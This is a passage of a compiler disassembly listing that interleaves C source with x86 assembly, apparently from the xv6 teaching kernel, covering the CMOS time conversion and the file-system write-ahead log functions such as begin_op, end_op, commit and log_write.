fill_rtcdate(&t2); 8010320b: 8d 45 c0 lea -0x40(%ebp),%eax 8010320e: 50 push %eax 8010320f: e8 43 ff ff ff call 80103157 <fill_rtcdate> 80103214: 83 c4 04 add $0x4,%esp if (memcmp(&t1, &t2, sizeof(t1)) == 0) 80103217: 83 ec 04 sub $0x4,%esp 8010321a: 6a 18 push $0x18 8010321c: 8d 45 c0 lea -0x40(%ebp),%eax 8010321f: 50 push %eax 80103220: 8d 45 d8 lea -0x28(%ebp),%eax 80103223: 50 push %eax 80103224: e8 d7 21 00 00 call 80105400 <memcmp> 80103229: 83 c4 10 add $0x10,%esp 8010322c: 85 c0 test %eax,%eax 8010322e: 74 05 je 80103235 <cmostime+0x6d> 80103230: eb ba jmp 801031ec <cmostime+0x24> // make sure CMOS doesn't modify time while we read it for (;;) { fill_rtcdate(&t1); if (cmos_read(CMOS_STATA) & CMOS_UIP) continue; 80103232: 90 nop fill_rtcdate(&t2); if (memcmp(&t1, &t2, sizeof(t1)) == 0) break; } 80103233: eb b7 jmp 801031ec <cmostime+0x24> fill_rtcdate(&t1); if (cmos_read(CMOS_STATA) & CMOS_UIP) continue; fill_rtcdate(&t2); if (memcmp(&t1, &t2, sizeof(t1)) == 0) break; 80103235: 90 nop } // convert if (bcd) { 80103236: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8010323a: 0f 84 b4 00 00 00 je 801032f4 <cmostime+0x12c> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 80103240: 8b 45 d8 mov -0x28(%ebp),%eax 80103243: c1 e8 04 shr $0x4,%eax 80103246: 89 c2 mov %eax,%edx 80103248: 89 d0 mov %edx,%eax 8010324a: c1 e0 02 shl $0x2,%eax 8010324d: 01 d0 add %edx,%eax 8010324f: 01 c0 add %eax,%eax 80103251: 89 c2 mov %eax,%edx 80103253: 8b 45 d8 mov -0x28(%ebp),%eax 80103256: 83 e0 0f and $0xf,%eax 80103259: 01 d0 add %edx,%eax 8010325b: 89 45 d8 mov %eax,-0x28(%ebp) CONV(minute); 8010325e: 8b 45 dc mov -0x24(%ebp),%eax 80103261: c1 e8 04 shr $0x4,%eax 80103264: 89 c2 mov %eax,%edx 80103266: 89 d0 mov %edx,%eax 80103268: c1 e0 02 shl $0x2,%eax 8010326b: 01 d0 add %edx,%eax 8010326d: 01 c0 add %eax,%eax 8010326f: 89 c2 mov %eax,%edx 80103271: 8b 45 dc mov -0x24(%ebp),%eax 80103274: 83 e0 0f and $0xf,%eax 80103277: 01 d0 add %edx,%eax 80103279: 89 45 dc mov %eax,-0x24(%ebp) CONV(hour ); 8010327c: 8b 45 e0 mov -0x20(%ebp),%eax 8010327f: c1 e8 04 shr $0x4,%eax 80103282: 89 c2 mov %eax,%edx 80103284: 89 d0 mov %edx,%eax 80103286: c1 e0 02 shl $0x2,%eax 80103289: 01 d0 add %edx,%eax 8010328b: 01 c0 add %eax,%eax 8010328d: 89 c2 mov %eax,%edx 8010328f: 8b 45 e0 mov -0x20(%ebp),%eax 80103292: 83 e0 0f and $0xf,%eax 80103295: 01 d0 add %edx,%eax 80103297: 89 45 e0 mov %eax,-0x20(%ebp) CONV(day ); 8010329a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010329d: c1 e8 04 shr $0x4,%eax 801032a0: 89 c2 mov %eax,%edx 801032a2: 89 d0 mov %edx,%eax 801032a4: c1 e0 02 shl $0x2,%eax 801032a7: 01 d0 add %edx,%eax 801032a9: 01 c0 add %eax,%eax 801032ab: 89 c2 mov %eax,%edx 801032ad: 8b 45 e4 mov -0x1c(%ebp),%eax 801032b0: 83 e0 0f and $0xf,%eax 801032b3: 01 d0 add %edx,%eax 801032b5: 89 45 e4 mov %eax,-0x1c(%ebp) CONV(month ); 801032b8: 8b 45 e8 mov -0x18(%ebp),%eax 801032bb: c1 e8 04 shr $0x4,%eax 801032be: 89 c2 mov %eax,%edx 801032c0: 89 d0 mov %edx,%eax 801032c2: c1 e0 02 shl $0x2,%eax 801032c5: 01 d0 add %edx,%eax 801032c7: 01 c0 add %eax,%eax 801032c9: 89 c2 mov %eax,%edx 801032cb: 8b 45 e8 mov -0x18(%ebp),%eax 801032ce: 83 e0 0f and $0xf,%eax 801032d1: 01 d0 add %edx,%eax 801032d3: 89 45 e8 mov %eax,-0x18(%ebp) CONV(year ); 801032d6: 8b 45 ec mov -0x14(%ebp),%eax 801032d9: c1 e8 04 shr $0x4,%eax 801032dc: 89 c2 mov %eax,%edx 801032de: 89 d0 mov %edx,%eax 801032e0: c1 e0 02 shl $0x2,%eax 801032e3: 01 d0 add %edx,%eax 801032e5: 01 c0 add %eax,%eax 801032e7: 89 c2 mov %eax,%edx 801032e9: 8b 45 ec mov -0x14(%ebp),%eax 801032ec: 83 e0 0f and $0xf,%eax 801032ef: 01 d0 add %edx,%eax 801032f1: 89 45 ec mov %eax,-0x14(%ebp) #undef CONV } *r = t1; 801032f4: 8b 45 08 mov 0x8(%ebp),%eax 801032f7: 8b 55 d8 mov -0x28(%ebp),%edx 801032fa: 89 10 mov %edx,(%eax) 801032fc: 8b 55 dc mov -0x24(%ebp),%edx 801032ff: 89 50 04 mov %edx,0x4(%eax) 80103302: 8b 55 e0 mov -0x20(%ebp),%edx 80103305: 89 50 08 mov %edx,0x8(%eax) 80103308: 8b 55 e4 mov -0x1c(%ebp),%edx 8010330b: 89 50 0c mov %edx,0xc(%eax) 8010330e: 8b 55 e8 mov -0x18(%ebp),%edx 80103311: 89 50 10 mov %edx,0x10(%eax) 80103314: 8b 55 ec mov -0x14(%ebp),%edx 80103317: 89 50 14 mov %edx,0x14(%eax) r->year += 2000; 8010331a: 8b 45 08 mov 0x8(%ebp),%eax 8010331d: 8b 40 14 mov 0x14(%eax),%eax 80103320: 8d 90 d0 07 00 00 lea 0x7d0(%eax),%edx 80103326: 8b 45 08 mov 0x8(%ebp),%eax 80103329: 89 50 14 mov %edx,0x14(%eax) } 8010332c: 90 nop 8010332d: c9 leave 8010332e: c3 ret 8010332f <initlog>: static void recover_from_log(void); static void commit(); void initlog(int dev) { 8010332f: 55 push %ebp 80103330: 89 e5 mov %esp,%ebp 80103332: 83 ec 28 sub $0x28,%esp if (sizeof(struct logheader) >= BSIZE) panic("initlog: too big logheader"); struct superblock sb; initlock(&log.lock, "log"); 80103335: 83 ec 08 sub $0x8,%esp 80103338: 68 94 8b 10 80 push $0x80108b94 8010333d: 68 40 3c 11 80 push $0x80113c40 80103342: e8 cd 1d 00 00 call 80105114 <initlock> 80103347: 83 c4 10 add $0x10,%esp readsb(dev, &sb); 8010334a: 83 ec 08 sub $0x8,%esp 8010334d: 8d 45 dc lea -0x24(%ebp),%eax 80103350: 50 push %eax 80103351: ff 75 08 pushl 0x8(%ebp) 80103354: e8 2b e0 ff ff call 80101384 <readsb> 80103359: 83 c4 10 add $0x10,%esp log.start = sb.logstart; 8010335c: 8b 45 ec mov -0x14(%ebp),%eax 8010335f: a3 74 3c 11 80 mov %eax,0x80113c74 log.size = sb.nlog; 80103364: 8b 45 e8 mov -0x18(%ebp),%eax 80103367: a3 78 3c 11 80 mov %eax,0x80113c78 log.dev = dev; 8010336c: 8b 45 08 mov 0x8(%ebp),%eax 8010336f: a3 84 3c 11 80 mov %eax,0x80113c84 recover_from_log(); 80103374: e8 b2 01 00 00 call 8010352b <recover_from_log> } 80103379: 90 nop 8010337a: c9 leave 8010337b: c3 ret 8010337c <install_trans>: // Copy committed blocks from log to their home location static void install_trans(void) { 8010337c: 55 push %ebp 8010337d: 89 e5 mov %esp,%ebp 8010337f: 83 ec 18 sub $0x18,%esp int tail; for (tail = 0; tail < log.lh.n; tail++) { 80103382: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103389: e9 95 00 00 00 jmp 80103423 <install_trans+0xa7> struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 8010338e: 8b 15 74 3c 11 80 mov 0x80113c74,%edx 80103394: 8b 45 f4 mov -0xc(%ebp),%eax 80103397: 01 d0 add %edx,%eax 80103399: 83 c0 01 add $0x1,%eax 8010339c: 89 c2 mov %eax,%edx 8010339e: a1 84 3c 11 80 mov 0x80113c84,%eax 801033a3: 83 ec 08 sub $0x8,%esp 801033a6: 52 push %edx 801033a7: 50 push %eax 801033a8: e8 09 ce ff ff call 801001b6 <bread> 801033ad: 83 c4 10 add $0x10,%esp 801033b0: 89 45 f0 mov %eax,-0x10(%ebp) struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801033b3: 8b 45 f4 mov -0xc(%ebp),%eax 801033b6: 83 c0 10 add $0x10,%eax 801033b9: 8b 04 85 4c 3c 11 80 mov -0x7feec3b4(,%eax,4),%eax 801033c0: 89 c2 mov %eax,%edx 801033c2: a1 84 3c 11 80 mov 0x80113c84,%eax 801033c7: 83 ec 08 sub $0x8,%esp 801033ca: 52 push %edx 801033cb: 50 push %eax 801033cc: e8 e5 cd ff ff call 801001b6 <bread> 801033d1: 83 c4 10 add $0x10,%esp 801033d4: 89 45 ec mov %eax,-0x14(%ebp) memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801033d7: 8b 45 f0 mov -0x10(%ebp),%eax 801033da: 8d 50 18 lea 0x18(%eax),%edx 801033dd: 8b 45 ec mov -0x14(%ebp),%eax 801033e0: 83 c0 18 add $0x18,%eax 801033e3: 83 ec 04 sub $0x4,%esp 801033e6: 68 00 02 00 00 push $0x200 801033eb: 52 push %edx 801033ec: 50 push %eax 801033ed: e8 66 20 00 00 call 80105458 <memmove> 801033f2: 83 c4 10 add $0x10,%esp bwrite(dbuf); // write dst to disk 801033f5: 83 ec 0c sub $0xc,%esp 801033f8: ff 75 ec pushl -0x14(%ebp) 801033fb: e8 ef cd ff ff call 801001ef <bwrite> 80103400: 83 c4 10 add $0x10,%esp brelse(lbuf); 80103403: 83 ec 0c sub $0xc,%esp 80103406: ff 75 f0 pushl -0x10(%ebp) 80103409: e8 20 ce ff ff call 8010022e <brelse> 8010340e: 83 c4 10 add $0x10,%esp brelse(dbuf); 80103411: 83 ec 0c sub $0xc,%esp 80103414: ff 75 ec pushl -0x14(%ebp) 80103417: e8 12 ce ff ff call 8010022e <brelse> 8010341c: 83 c4 10 add $0x10,%esp static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 8010341f: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103423: a1 88 3c 11 80 mov 0x80113c88,%eax 80103428: 3b 45 f4 cmp -0xc(%ebp),%eax 8010342b: 0f 8f 5d ff ff ff jg 8010338e <install_trans+0x12> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst bwrite(dbuf); // write dst to disk brelse(lbuf); brelse(dbuf); } } 80103431: 90 nop 80103432: c9 leave 80103433: c3 ret 80103434 <read_head>: // Read the log header from disk into the in-memory log header static void read_head(void) { 80103434: 55 push %ebp 80103435: 89 e5 mov %esp,%ebp 80103437: 83 ec 18 sub $0x18,%esp struct buf *buf = bread(log.dev, log.start); 8010343a: a1 74 3c 11 80 mov 0x80113c74,%eax 8010343f: 89 c2 mov %eax,%edx 80103441: a1 84 3c 11 80 mov 0x80113c84,%eax 80103446: 83 ec 08 sub $0x8,%esp 80103449: 52 push %edx 8010344a: 50 push %eax 8010344b: e8 66 cd ff ff call 801001b6 <bread> 80103450: 83 c4 10 add $0x10,%esp 80103453: 89 45 f0 mov %eax,-0x10(%ebp) struct logheader *lh = (struct logheader *) (buf->data); 80103456: 8b 45 f0 mov -0x10(%ebp),%eax 80103459: 83 c0 18 add $0x18,%eax 8010345c: 89 45 ec mov %eax,-0x14(%ebp) int i; log.lh.n = lh->n; 8010345f: 8b 45 ec mov -0x14(%ebp),%eax 80103462: 8b 00 mov (%eax),%eax 80103464: a3 88 3c 11 80 mov %eax,0x80113c88 for (i = 0; i < log.lh.n; i++) { 80103469: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80103470: eb 1b jmp 8010348d <read_head+0x59> log.lh.block[i] = lh->block[i]; 80103472: 8b 45 ec mov -0x14(%ebp),%eax 80103475: 8b 55 f4 mov -0xc(%ebp),%edx 80103478: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax 8010347c: 8b 55 f4 mov -0xc(%ebp),%edx 8010347f: 83 c2 10 add $0x10,%edx 80103482: 89 04 95 4c 3c 11 80 mov %eax,-0x7feec3b4(,%edx,4) { struct buf *buf = bread(log.dev, log.start); struct logheader *lh = (struct logheader *) (buf->data); int i; log.lh.n = lh->n; for (i = 0; i < log.lh.n; i++) { 80103489: 83 45 f4 01 addl $0x1,-0xc(%ebp) 8010348d: a1 88 3c 11 80 mov 0x80113c88,%eax 80103492: 3b 45 f4 cmp -0xc(%ebp),%eax 80103495: 7f db jg 80103472 <read_head+0x3e> log.lh.block[i] = lh->block[i]; } brelse(buf); 80103497: 83 ec 0c sub $0xc,%esp 8010349a: ff 75 f0 pushl -0x10(%ebp) 8010349d: e8 8c cd ff ff call 8010022e <brelse> 801034a2: 83 c4 10 add $0x10,%esp } 801034a5: 90 nop 801034a6: c9 leave 801034a7: c3 ret 801034a8 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 801034a8: 55 push %ebp 801034a9: 89 e5 mov %esp,%ebp 801034ab: 83 ec 18 sub $0x18,%esp struct buf *buf = bread(log.dev, log.start); 801034ae: a1 74 3c 11 80 mov 0x80113c74,%eax 801034b3: 89 c2 mov %eax,%edx 801034b5: a1 84 3c 11 80 mov 0x80113c84,%eax 801034ba: 83 ec 08 sub $0x8,%esp 801034bd: 52 push %edx 801034be: 50 push %eax 801034bf: e8 f2 cc ff ff call 801001b6 <bread> 801034c4: 83 c4 10 add $0x10,%esp 801034c7: 89 45 f0 mov %eax,-0x10(%ebp) struct logheader *hb = (struct logheader *) (buf->data); 801034ca: 8b 45 f0 mov -0x10(%ebp),%eax 801034cd: 83 c0 18 add $0x18,%eax 801034d0: 89 45 ec mov %eax,-0x14(%ebp) int i; hb->n = log.lh.n; 801034d3: 8b 15 88 3c 11 80 mov 0x80113c88,%edx 801034d9: 8b 45 ec mov -0x14(%ebp),%eax 801034dc: 89 10 mov %edx,(%eax) for (i = 0; i < log.lh.n; i++) { 801034de: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801034e5: eb 1b jmp 80103502 <write_head+0x5a> hb->block[i] = log.lh.block[i]; 801034e7: 8b 45 f4 mov -0xc(%ebp),%eax 801034ea: 83 c0 10 add $0x10,%eax 801034ed: 8b 0c 85 4c 3c 11 80 mov -0x7feec3b4(,%eax,4),%ecx 801034f4: 8b 45 ec mov -0x14(%ebp),%eax 801034f7: 8b 55 f4 mov -0xc(%ebp),%edx 801034fa: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4) { struct buf *buf = bread(log.dev, log.start); struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; for (i = 0; i < log.lh.n; i++) { 801034fe: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103502: a1 88 3c 11 80 mov 0x80113c88,%eax 80103507: 3b 45 f4 cmp -0xc(%ebp),%eax 8010350a: 7f db jg 801034e7 <write_head+0x3f> hb->block[i] = log.lh.block[i]; } bwrite(buf); 8010350c: 83 ec 0c sub $0xc,%esp 8010350f: ff 75 f0 pushl -0x10(%ebp) 80103512: e8 d8 cc ff ff call 801001ef <bwrite> 80103517: 83 c4 10 add $0x10,%esp brelse(buf); 8010351a: 83 ec 0c sub $0xc,%esp 8010351d: ff 75 f0 pushl -0x10(%ebp) 80103520: e8 09 cd ff ff call 8010022e <brelse> 80103525: 83 c4 10 add $0x10,%esp } 80103528: 90 nop 80103529: c9 leave 8010352a: c3 ret 8010352b <recover_from_log>: static void recover_from_log(void) { 8010352b: 55 push %ebp 8010352c: 89 e5 mov %esp,%ebp 8010352e: 83 ec 08 sub $0x8,%esp read_head(); 80103531: e8 fe fe ff ff call 80103434 <read_head> install_trans(); // if committed, copy from log to disk 80103536: e8 41 fe ff ff call 8010337c <install_trans> log.lh.n = 0; 8010353b: c7 05 88 3c 11 80 00 movl $0x0,0x80113c88 80103542: 00 00 00 write_head(); // clear the log 80103545: e8 5e ff ff ff call 801034a8 <write_head> } 8010354a: 90 nop 8010354b: c9 leave 8010354c: c3 ret 8010354d <begin_op>: // called at the start of each FS system call. void begin_op(void) { 8010354d: 55 push %ebp 8010354e: 89 e5 mov %esp,%ebp 80103550: 83 ec 08 sub $0x8,%esp acquire(&log.lock); 80103553: 83 ec 0c sub $0xc,%esp 80103556: 68 40 3c 11 80 push $0x80113c40 8010355b: e8 d6 1b 00 00 call 80105136 <acquire> 80103560: 83 c4 10 add $0x10,%esp while(1){ if(log.committing){ 80103563: a1 80 3c 11 80 mov 0x80113c80,%eax 80103568: 85 c0 test %eax,%eax 8010356a: 74 17 je 80103583 <begin_op+0x36> sleep(&log, &log.lock); 8010356c: 83 ec 08 sub $0x8,%esp 8010356f: 68 40 3c 11 80 push $0x80113c40 80103574: 68 40 3c 11 80 push $0x80113c40 80103579: e8 79 18 00 00 call 80104df7 <sleep> 8010357e: 83 c4 10 add $0x10,%esp 80103581: eb e0 jmp 80103563 <begin_op+0x16> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80103583: 8b 0d 88 3c 11 80 mov 0x80113c88,%ecx 80103589: a1 7c 3c 11 80 mov 0x80113c7c,%eax 8010358e: 8d 50 01 lea 0x1(%eax),%edx 80103591: 89 d0 mov %edx,%eax 80103593: c1 e0 02 shl $0x2,%eax 80103596: 01 d0 add %edx,%eax 80103598: 01 c0 add %eax,%eax 8010359a: 01 c8 add %ecx,%eax 8010359c: 83 f8 1e cmp $0x1e,%eax 8010359f: 7e 17 jle 801035b8 <begin_op+0x6b> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); 801035a1: 83 ec 08 sub $0x8,%esp 801035a4: 68 40 3c 11 80 push $0x80113c40 801035a9: 68 40 3c 11 80 push $0x80113c40 801035ae: e8 44 18 00 00 call 80104df7 <sleep> 801035b3: 83 c4 10 add $0x10,%esp 801035b6: eb ab jmp 80103563 <begin_op+0x16> } else { log.outstanding += 1; 801035b8: a1 7c 3c 11 80 mov 0x80113c7c,%eax 801035bd: 83 c0 01 add $0x1,%eax 801035c0: a3 7c 3c 11 80 mov %eax,0x80113c7c release(&log.lock); 801035c5: 83 ec 0c sub $0xc,%esp 801035c8: 68 40 3c 11 80 push $0x80113c40 801035cd: e8 cb 1b 00 00 call 8010519d <release> 801035d2: 83 c4 10 add $0x10,%esp break; 801035d5: 90 nop } } } 801035d6: 90 nop 801035d7: c9 leave 801035d8: c3 ret 801035d9 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 801035d9: 55 push %ebp 801035da: 89 e5 mov %esp,%ebp 801035dc: 83 ec 18 sub $0x18,%esp int do_commit = 0; 801035df: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) acquire(&log.lock); 801035e6: 83 ec 0c sub $0xc,%esp 801035e9: 68 40 3c 11 80 push $0x80113c40 801035ee: e8 43 1b 00 00 call 80105136 <acquire> 801035f3: 83 c4 10 add $0x10,%esp log.outstanding -= 1; 801035f6: a1 7c 3c 11 80 mov 0x80113c7c,%eax 801035fb: 83 e8 01 sub $0x1,%eax 801035fe: a3 7c 3c 11 80 mov %eax,0x80113c7c if(log.committing) 80103603: a1 80 3c 11 80 mov 0x80113c80,%eax 80103608: 85 c0 test %eax,%eax 8010360a: 74 0d je 80103619 <end_op+0x40> panic("log.committing"); 8010360c: 83 ec 0c sub $0xc,%esp 8010360f: 68 98 8b 10 80 push $0x80108b98 80103614: e8 4d cf ff ff call 80100566 <panic> if(log.outstanding == 0){ 80103619: a1 7c 3c 11 80 mov 0x80113c7c,%eax 8010361e: 85 c0 test %eax,%eax 80103620: 75 13 jne 80103635 <end_op+0x5c> do_commit = 1; 80103622: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) log.committing = 1; 80103629: c7 05 80 3c 11 80 01 movl $0x1,0x80113c80 80103630: 00 00 00 80103633: eb 10 jmp 80103645 <end_op+0x6c> } else { // begin_op() may be waiting for log space. wakeup(&log); 80103635: 83 ec 0c sub $0xc,%esp 80103638: 68 40 3c 11 80 push $0x80113c40 8010363d: e8 a0 18 00 00 call 80104ee2 <wakeup> 80103642: 83 c4 10 add $0x10,%esp } release(&log.lock); 80103645: 83 ec 0c sub $0xc,%esp 80103648: 68 40 3c 11 80 push $0x80113c40 8010364d: e8 4b 1b 00 00 call 8010519d <release> 80103652: 83 c4 10 add $0x10,%esp if(do_commit){ 80103655: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80103659: 74 3f je 8010369a <end_op+0xc1> // call commit w/o holding locks, since not allowed // to sleep with locks. commit(); 8010365b: e8 f5 00 00 00 call 80103755 <commit> acquire(&log.lock); 80103660: 83 ec 0c sub $0xc,%esp 80103663: 68 40 3c 11 80 push $0x80113c40 80103668: e8 c9 1a 00 00 call 80105136 <acquire> 8010366d: 83 c4 10 add $0x10,%esp log.committing = 0; 80103670: c7 05 80 3c 11 80 00 movl $0x0,0x80113c80 80103677: 00 00 00 wakeup(&log); 8010367a: 83 ec 0c sub $0xc,%esp 8010367d: 68 40 3c 11 80 push $0x80113c40 80103682: e8 5b 18 00 00 call 80104ee2 <wakeup> 80103687: 83 c4 10 add $0x10,%esp release(&log.lock); 8010368a: 83 ec 0c sub $0xc,%esp 8010368d: 68 40 3c 11 80 push $0x80113c40 80103692: e8 06 1b 00 00 call 8010519d <release> 80103697: 83 c4 10 add $0x10,%esp } } 8010369a: 90 nop 8010369b: c9 leave 8010369c: c3 ret 8010369d <write_log>: // Copy modified blocks from cache to log. static void write_log(void) { 8010369d: 55 push %ebp 8010369e: 89 e5 mov %esp,%ebp 801036a0: 83 ec 18 sub $0x18,%esp int tail; for (tail = 0; tail < log.lh.n; tail++) { 801036a3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801036aa: e9 95 00 00 00 jmp 80103744 <write_log+0xa7> struct buf *to = bread(log.dev, log.start+tail+1); // log block 801036af: 8b 15 74 3c 11 80 mov 0x80113c74,%edx 801036b5: 8b 45 f4 mov -0xc(%ebp),%eax 801036b8: 01 d0 add %edx,%eax 801036ba: 83 c0 01 add $0x1,%eax 801036bd: 89 c2 mov %eax,%edx 801036bf: a1 84 3c 11 80 mov 0x80113c84,%eax 801036c4: 83 ec 08 sub $0x8,%esp 801036c7: 52 push %edx 801036c8: 50 push %eax 801036c9: e8 e8 ca ff ff call 801001b6 <bread> 801036ce: 83 c4 10 add $0x10,%esp 801036d1: 89 45 f0 mov %eax,-0x10(%ebp) struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 801036d4: 8b 45 f4 mov -0xc(%ebp),%eax 801036d7: 83 c0 10 add $0x10,%eax 801036da: 8b 04 85 4c 3c 11 80 mov -0x7feec3b4(,%eax,4),%eax 801036e1: 89 c2 mov %eax,%edx 801036e3: a1 84 3c 11 80 mov 0x80113c84,%eax 801036e8: 83 ec 08 sub $0x8,%esp 801036eb: 52 push %edx 801036ec: 50 push %eax 801036ed: e8 c4 ca ff ff call 801001b6 <bread> 801036f2: 83 c4 10 add $0x10,%esp 801036f5: 89 45 ec mov %eax,-0x14(%ebp) memmove(to->data, from->data, BSIZE); 801036f8: 8b 45 ec mov -0x14(%ebp),%eax 801036fb: 8d 50 18 lea 0x18(%eax),%edx 801036fe: 8b 45 f0 mov -0x10(%ebp),%eax 80103701: 83 c0 18 add $0x18,%eax 80103704: 83 ec 04 sub $0x4,%esp 80103707: 68 00 02 00 00 push $0x200 8010370c: 52 push %edx 8010370d: 50 push %eax 8010370e: e8 45 1d 00 00 call 80105458 <memmove> 80103713: 83 c4 10 add $0x10,%esp bwrite(to); // write the log 80103716: 83 ec 0c sub $0xc,%esp 80103719: ff 75 f0 pushl -0x10(%ebp) 8010371c: e8 ce ca ff ff call 801001ef <bwrite> 80103721: 83 c4 10 add $0x10,%esp brelse(from); 80103724: 83 ec 0c sub $0xc,%esp 80103727: ff 75 ec pushl -0x14(%ebp) 8010372a: e8 ff ca ff ff call 8010022e <brelse> 8010372f: 83 c4 10 add $0x10,%esp brelse(to); 80103732: 83 ec 0c sub $0xc,%esp 80103735: ff 75 f0 pushl -0x10(%ebp) 80103738: e8 f1 ca ff ff call 8010022e <brelse> 8010373d: 83 c4 10 add $0x10,%esp static void write_log(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80103740: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103744: a1 88 3c 11 80 mov 0x80113c88,%eax 80103749: 3b 45 f4 cmp -0xc(%ebp),%eax 8010374c: 0f 8f 5d ff ff ff jg 801036af <write_log+0x12> memmove(to->data, from->data, BSIZE); bwrite(to); // write the log brelse(from); brelse(to); } } 80103752: 90 nop 80103753: c9 leave 80103754: c3 ret 80103755 <commit>: static void commit() { 80103755: 55 push %ebp 80103756: 89 e5 mov %esp,%ebp 80103758: 83 ec 08 sub $0x8,%esp if (log.lh.n > 0) { 8010375b: a1 88 3c 11 80 mov 0x80113c88,%eax 80103760: 85 c0 test %eax,%eax 80103762: 7e 1e jle 80103782 <commit+0x2d> write_log(); // Write modified blocks from cache to log 80103764: e8 34 ff ff ff call 8010369d <write_log> write_head(); // Write header to disk -- the real commit 80103769: e8 3a fd ff ff call 801034a8 <write_head> install_trans(); // Now install writes to home locations 8010376e: e8 09 fc ff ff call 8010337c <install_trans> log.lh.n = 0; 80103773: c7 05 88 3c 11 80 00 movl $0x0,0x80113c88 8010377a: 00 00 00 write_head(); // Erase the transaction from the log 8010377d: e8 26 fd ff ff call 801034a8 <write_head> } } 80103782: 90 nop 80103783: c9 leave 80103784: c3 ret 80103785 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80103785: 55 push %ebp 80103786: 89 e5 mov %esp,%ebp 80103788: 83 ec 18 sub $0x18,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 8010378b: a1 88 3c 11 80 mov 0x80113c88,%eax 80103790: 83 f8 1d cmp $0x1d,%eax 80103793: 7f 12 jg 801037a7 <log_write+0x22> 80103795: a1 88 3c 11 80 mov 0x80113c88,%eax 8010379a: 8b 15 78 3c 11 80 mov 0x80113c78,%edx 801037a0: 83 ea 01 sub $0x1,%edx 801037a3: 39 d0 cmp %edx,%eax 801037a5: 7c 0d jl 801037b4 <log_write+0x2f> panic("too big a transaction"); 801037a7: 83 ec 0c sub $0xc,%esp 801037aa: 68 a7 8b 10 80 push $0x80108ba7 801037af: e8 b2 cd ff ff call 80100566 <panic> if (log.outstanding < 1) 801037b4: a1 7c 3c 11 80 mov 0x80113c7c,%eax 801037b9: 85 c0 test %eax,%eax 801037bb: 7f 0d jg 801037ca <log_write+0x45> panic("log_write outside of trans"); 801037bd: 83 ec 0c sub $0xc,%esp 801037c0: 68 bd 8b 10 80 push $0x80108bbd 801037c5: e8 9c cd ff ff call 80100566 <panic> acquire(&log.lock); 801037ca: 83 ec 0c sub $0xc,%esp 801037cd: 68 40 3c 11 80 push $0x80113c40 801037d2: e8 5f 19 00 00 call 80105136 <acquire> 801037d7: 83 c4 10 add $0x10,%esp for (i = 0; i < log.lh.n; i++) { 801037da: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801037e1: eb 1d jmp 80103800 <log_write+0x7b> if (log.lh.block[i] == b->blockno) // log absorbtion 801037e3: 8b 45 f4 mov -0xc(%ebp),%eax 801037e6: 83 c0 10 add $0x10,%eax 801037e9: 8b 04 85 4c 3c 11 80 mov -0x7feec3b4(,%eax,4),%eax 801037f0: 89 c2 mov %eax,%edx 801037f2: 8b 45 08 mov 0x8(%ebp),%eax 801037f5: 8b 40 08 mov 0x8(%eax),%eax 801037f8: 39 c2 cmp %eax,%edx 801037fa: 74 10 je 8010380c <log_write+0x87> panic("too big a transaction"); if (log.outstanding < 1) panic("log_write outside of trans"); acquire(&log.lock); for (i = 0; i < log.lh.n; i++) { 801037fc: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80103800: a1 88 3c 11 80 mov 0x80113c88,%eax 80103805: 3b 45 f4 cmp -0xc(%ebp),%eax 80103808: 7f d9 jg 801037e3 <log_write+0x5e> 8010380a: eb 01 jmp 8010380d <log_write+0x88> if (log.lh.block[i] == b->blockno) // log absorbtion break; 8010380c: 90 nop } log.lh.block[i] = b->blockno; 8010380d: 8b 45 08 mov 0x8(%ebp),%eax 80103810: 8b 40 08 mov 0x8(%eax),%eax 80103813: 89 c2 mov %eax,%edx 80103815: 8b 45 f4 mov -0xc(%ebp),%eax 80103818: 83 c0 10 add $0x10,%eax 8010381b: 89 14 85 4c 3c 11 80 mov %edx,-0x7feec3b4(,%eax,4) if (i == log.lh.n) 80103822: a1 88 3c 11 80 mov 0x80113c88,%eax 80103827: 3b 45 f4 cmp -0xc(%ebp),%eax 8010382a: 75 0d jne 80103839 <log_write+0xb4> log.lh.n++; 8010382c: a1 88 3c 11 80 mov 0x80113c88,%eax 80103831: 83 c0 01 add $0x1,%eax 80103834: a3 88 3c 11 80 mov %eax,0x80113c88 b->flags |= B_DIRTY; // prevent eviction 80103839: 8b 45 08 mov 0x8(%ebp),%eax 8010383c: 8b 00 mov (%eax),%eax 8010383e: 83 c8 04 or $0x4,%eax 80103841: 89 c2 mov %eax,%edx 80103843: 8b 45 08 mov 0x8(%ebp),%eax 80103846: 89 10 mov %edx,(%eax) release(&log.lock); 80103848: 83 ec 0c sub $0xc,%esp 8010384b: 68 40 3c 11 80 push $0x80113c40 80103850: e8 48 19 00 00 call 8010519d <release> 80103855: 83 c4 